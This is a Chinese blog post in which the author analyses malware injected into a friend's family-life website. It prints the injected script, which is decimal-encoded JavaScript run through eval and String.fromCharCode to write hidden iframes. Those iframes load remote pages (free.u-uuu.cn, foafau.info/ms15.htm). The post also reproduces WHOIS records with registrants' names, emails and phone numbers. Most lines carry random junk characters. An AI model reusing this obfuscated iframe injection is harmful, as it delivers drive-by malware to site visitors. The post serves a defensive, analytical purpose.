首发在我的博客里面，
w.F3o4YP Yw1q 2jT http://www.areway.cn/?p=175 q\pc2Lh?^ SD.*G'N&2f g8 *|" { 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
]~<T` )Hi 5xV/&N <script>t=’60,105,102,114,97,109,101,
C5z 32,115,114,99,61,104,116,116,112,58,47,47,
I$qtf Gr 102,114,101,101,46,117,45,117,117,117,46,99,
McI4oD~" 110,47,101,114,114,111,114,46,104,116,109,
{]m
e?I 32,119,105,100,116,104,61,49,48,48,32,104,
-a^sX%|Bl 101,105,103,104,116,61,48,62,60,47,105,102,
=ir;m 114,97,109,101,62′;
XV 9'[V t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
s#Y7*?Sm ; 8x^9Q <script>t=’60,105,102,114,97,109,101,32,115,
D)eKq!_ 114,99,61,104,116,116,112,58,47,47,102,114,
>0okb3+ 101,101,46,117,45,117,117,117,46,99,110,47,
e&7}N Za 101,114,114,111,114,46,104,116,109,32,119,
v__Go kj- 105,100,116,104,61,49,48,48,32,104,101,105,
RX|& cY> 103,104,116,61,48,62,60,47,105,102,114,97,
(# Kvm 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
lVBy&f document.write(t);</script>
r
($t.iS ',ybHW%D%i <html xmlns=”
ba1QF zN http://www.w3.org/1999/xhtml x,*t/nzR “>
.4)P=* <head>
2"K~:Tm#w <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
! g :G{b <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
?\$/#zak <title>首页 - 爱生活家庭网
}Nc! 8'@ .Zz7LG{ 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
^ [NmNi* 转换字符串后的大概内容是（谁点击后果自付）：
"_}D{ws1 <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
WC&Ltw8 ,<WykeC 查询玉米u-uuu.cn的详细信息：
lMf5F8 Domain Name: u-uuu.cn
,
&f20o ROID: 20070901s10001s64972306-cn
)8> f Domain Status: ok
vK >^#b3 Registrant Organization: 王雷
]
:#IZ0# Registrant Name: 王雷
lGgKzi9VD Administrative Email:
czlovexs@126.com c{P`oB8 Sponsoring Registrar: 北京万网志成科技有限公司
W n mRRq^ Name Server:ns.yovole.com
P@![P Ij Name Server:ns1.yovole.com
* Bz& Registration Date: 2007-09-01 17:54
g2_df3Q Expiration Date: 2008-09-01 17:54
qUg4-Z4 最后PING了一下地址 都没有什么….
J4 ^cd !@ '2 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
LBi>D`] <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
JKbB, <script language=”javascript” src=”
*zht(~% http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script P z!yIj >
z Ns 8\ 这个玉米应该有可能是木马作者的：
X~4:sJ\P= foafau.info的详细信息：
8jx1W9=`9[ Access to INFO WHOIS information is provided to assist persons in
6 Izv& determining the contents of a domain name registration record in the
v wD(J.; Afilias registry database. The data in this record is provided by
DKCy h` Afilias Limited for informational purposes only, and Afilias does not
^%@.Vvz< guarantee its accuracy. This service is intended only for query-based
?wY.B access. You agree that you will use this data only for lawful purposes
gJv^v`X and that, under no circumstances will you use this data to: (a) allow,
{vlh ,0~ enable, or otherwise support the transmission by e-mail, telephone, or
Oz7v
hOU facsimile of mass unsolicited, commercial advertising or solicitations
:!\./z8v to entities other than the data recipient’s own existing customers; or
'gH#\he[Dh (b) enable high volume, automated, electronic processes that send
$B/cj^3 queries or data to the systems of Registry Operator, a Registrar, or
aN3{\^ Afilias except as reasonably necessary to register domain names or
{q4"x5| modify existing registrations. All rights reserved. Afilias reserves
&zy9} 4w, the right to modify these terms at any time. By submitting this query,
$ wB you agree to abide by this policy.
AVZ@?aJgF Domain ID:D22418703-LRMS
nClU 5 Domain Name:FOAFAU.INFO
Agf!6kh Created On:20-Nov-2007 16:05:42 UTC
FvP1;E Last Updated On:20-Nov-2007 16:05:44 UTC
2p ,6=8^v Expiration Date:20-Nov-2008 16:05:42 UTC
[: j_Y3-9 Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
/_(Dq8^g@ Status:CLIENT DELETE PROHIBITED
M 4?3 l Status:CLIENT RENEW PROHIBITED
9hzU@m Status:CLIENT TRANSFER PROHIBITED
(* gpa:Sc Status:CLIENT UPDATE PROHIBITED
&6EfybAt^_ Status:TRANSFER PROHIBITED
)HE yTHLtJ Registrant ID:GODA-040110615
> `M\xt Registrant Name:liu hong
S>Y?QQ3#wp Registrant Organization:
Ymvd= F Registrant Street1:beijing
gk` .8o Registrant Street2:
?[">%^ Registrant Street3:
4 X Q?By Registrant City:beijing
U7=Z.*/62 Registrant State/Province:
_Pal)re]U Registrant Postal Code:100000
7 #N
@B Registrant Country:CN
HOG7|| &y Registrant Phone:+86.860108888777
O}V2> W$ Registrant Phone Ext.:
;0E 4S Registrant FAX:
p,fin?nW c Registrant FAX Ext.:
=;T[2: JUu Registrant Email:bbbshiji@163.com
p04w 83 jX Admin ID:GODA-240110615
V5 w^Le_^ Admin Name:liu hong
R 4;6Oi) Admin Organization:
39CPFgi<l* Admin Street1:beijing
nU)f]4q{Ec Admin Street2:
~K`bl W47 Admin Street3:
`^[ra% a Admin City:beijing
yhmW-#+^e Admin State/Province:
Lf9h;z># Admin Postal Code:100000
^g\%VIOD Admin Country:CN
f*Bc`+ G Admin Phone:+86.860108888777
yvvR%]!. Admin Phone Ext.:
{n'}S( Admin FAX:
bE"CS K# Admin FAX Ext.:
/2q%'"x( Admin Email:bbbshiji@163.com
3]P=co@ Billing ID:GODA-340110615
?`$4ZDM Billing Name:liu hong
|Gi/=[Tp Billing Organization:
+L6$Xm5DAv Billing Street1:beijing
ly@CX((W Billing Street2:
zx*f* L,6F Billing Street3:
?1sY S Billing City:beijing
#96a7K Billing State/Province:
;Wdo* ysW Billing Postal Code:100000
LTHS&3% 2 Billing Country:CN
S;~_9i]upe Billing Phone:+86.860108888777
I%Z &i-33y Billing Phone Ext.:
b`mEnI
VIz Billing FAX:
Tj:F Qnx Billing FAX Ext.:
mx2 Jt1 Billing Email:bbbshiji@163.com
B7;MY6h# Tech ID:GODA-140110615
" B1' K8 Tech Name:liu hong
(%1*<6ka Tech Organization:
c 9@* Tech Street1:beijing
lk|/N^8M Tech Street2:
gqG"t@Y+ Tech Street3:
!O*n6}nPE Tech City:beijing
<V{BRRx Tech State/Province:
QHK$ Tech Postal Code:100000
YeVhWPn@ Tech Country:CN
\JchcQ Tech Phone:+86.860108888777
n $QFj' Tech Phone Ext.:
(TPD!= Tech FAX:
Bb)J8,LQ Tech FAX Ext.:
n)yqb Tech Email:bbbshiji@163.com
,ic}
Name Server:NS27.DOMAINCONTROL.COM
7VraWW`H' Name Server:NS28.DOMAINCONTROL.COM
)I@iW\`7 Name Server:
`XQ5> c Name Server:
Sl1N V Name Server:
Lfor 0-j Name Server:
c QjJ9o7 Name Server:
23PSv8;EM Name Server:
_" n4SXhq Name Server:
|Cm}%sgR\0 Name Server:
4p]Y`];U Name Server:
%{Gqhb=u\ Name Server:
5"+* c@L Name Server:
a %kj)ah !jm
a -- 接着下载每个文件里面的代码：
s*;~CH-[ 一步一步看..
UOyP6ej 
U4g ZW]F 
`#hy'S:e
2mRso.Ah 
B( ~D*H2T[ 
9I9)5`d|Jn 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
